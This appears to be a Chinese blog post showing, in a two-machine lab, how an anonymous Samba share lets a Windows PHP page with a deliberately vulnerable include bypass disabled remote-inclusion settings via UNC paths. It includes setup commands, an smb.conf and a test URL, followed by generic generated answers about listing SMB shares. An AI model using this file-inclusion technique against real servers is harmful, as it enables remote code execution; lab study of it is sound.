SMB绕过php远程文件包含的限制

环境

linux 一台   192.168.1.130
window 一台  192.168.1.131

搭建

1.window的环境搭建的环境中 在php.ini里面”allow_url_fopen”和“allow_url_include“设置为Off
2.在linux上搭建一个samba服务器 进行如下操作

apt-get install samba  安装samba服务
mkdir /var/www/html/pub/  创建文件夹
chmod 0555 /var/www/html/pub/   设置权限
chown -R nobody:nogroup /var/www/html/pub/  设置权限匿名浏览
echo > /etc/samba/smb.conf   清空默认的配置文件

然后把以下的文件写到/etc/samba/smb.conf

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
`service smbd restart`  重启服务

3.在window 192.168.1.131上面尝试访问下 \\192.168.1.130\ 看看是否搭建成功 如果搭建成功会显示一个ica的共享文件夹
4.在linux的机器 /var/www/html/pub 共享的目录写入一个phpinfo.php用来测试是否包含成功
5.在window的机器上写入一个本地包含文件1.php的代码include… a为接收参数来测试
6.访问http://192.168.1.131/1.php?a=\\192.168.130/ica/phpinfo.php
在这里插入图片描述
这里再总结下:
1.最后总结一句:只有Windows_PHP 服务器才可以利用UNC特性包含局域网SMB服务共享的文件!之前有个作者说linux和Windows做PHP服务器都行
2.感觉挺鸡肋

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 利用SMB会话可以获取远程共享列表。SMB(Server Message Block)是一种用于文件、打印和其它共享资源访问的通信协议。通过SMB协议,客户端可以远程访问服务器上的共享文件夹和打印机。 要获取远程共享列表,首先需要建立一个SMB会话。客户端可以向目标服务器发起SMB连接请求,包括用户名和密码等验证信息。如果验证通过,则建立了SMB会话。 在成功建立SMB会话后,可以使用SMB命令来获取远程共享列表。可以发送一个SMB请求,请求服务器返回共享资源的信息。服务器收到请求后,会返回共享资源的名称、类型、访问权限等信息。 通过解析服务器返回的共享资源信息,客户端可以获取远程共享列表。这个列表可以包括服务器上所有的共享文件夹和打印机等资源。客户端可以根据需要选择需要操作的共享资源。 利用SMB会话获取远程共享列表有很多应用场景。比如,在局域网环境下,可以通过SMB会话获取局域网内主机上的共享文件夹,方便文件共享和访问。在企业网络中,可以用于管理和监控远程服务器的共享资源。同时也可以用于安全审计,追踪共享资源的使用情况。总之,利用SMB会话获取远程共享列表可以提高文件共享和资源管理的效率。 ### 回答2: 利用SMB会话,可以通过特定的命令和技术手段获取远程共享列表。SMB(Server Message Block)是一种用于在计算机网络上共享文件,打印机和其他资源的通信协议。 首先,建立SMB会话是通过连接到远程主机的共享资源来实现的。在连接到远程主机的同时,可以向主机发送特定的命令,以获取远程共享列表。这些命令通常是一些SMB协议中的请求消息,如Tree Connect Request等。 其次,使用SMB会话协议,可以通过查询和获取服务器上的共享资源来获取远程共享列表。这些共享资源在服务器上被设置为共享目录或文件夹,可以被其他用户通过网络访问。通过SMB会话,可以发起请求,获取目标主机上的共享资源的详细信息,例如共享的名称、路径、权限等。 利用SMB会话获取远程共享列表的一个常见工具是SMBclient。SMBclient是一个用于与SMB服务器进行交互的命令行工具,它允许用户执行各种SMB协议相关的操作,包括列出远程主机上的共享资源。 需要注意的是,获取远程共享列表需要具有合法的访问权限。如果没有正确的凭证或访问权限,获取远程共享列表可能会被拒绝或返回空列表。 总而言之,利用SMB会话可以通过特定的命令和技术手段获取远程共享列表,这对于网络管理员和系统管理员来说非常有用,因为他们可以了解网络中共享资源的情况,并进行相关的管理和配置。 ### 回答3: 利用SMB会话可以获取远程共享列表。SMB(Server Message Block)是一种用于在计算机网络中共享文件、打印机和其他资源的通信协议。利用SMB会话,可以与远程计算机建立连接并获取共享资源的列表。 要获取远程共享列表,首先需要建立SMB会话。通常,此操作需要有权访问远程计算机的有效凭据。一旦建立了会话,可以通过查询SMB服务器的共享资源来获取共享列表。 查询SMB服务器的共享资源可以使用不同的方法。一种常见的方法是使用命令行工具,例如Windows系统中的net命令或Linux系统中的smbclient命令。使用这些命令可以指定远程计算机的IP或名称以及有效的用户名和密码,然后执行查询操作,返回远程共享资源的列表。 除了命令行工具,还可以使用编程语言(如Python)中的SMB库来编写自定义脚本。这些库提供了API,可以与远程SMB服务器进行交互,并获取共享资源的详细信息,如共享名称、路径、权限等。 但是在使用SMB会话获取远程共享列表时,需要注意安全性。确保具备合法访问远程计算机的权限,并且使用安全的凭据进行认证。此外,对于公共网络中的远程计算机,还需要防范潜在的安全风险,如未经授权的访问和数据泄露。 总之,利用SMB会话可以获取远程共享列表,通过命令行工具或编程语言的SMB库,可以查询和获取关于远程共享资源的相关信息。但是,在操作中需要保证合法的访问权限和网络安全。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值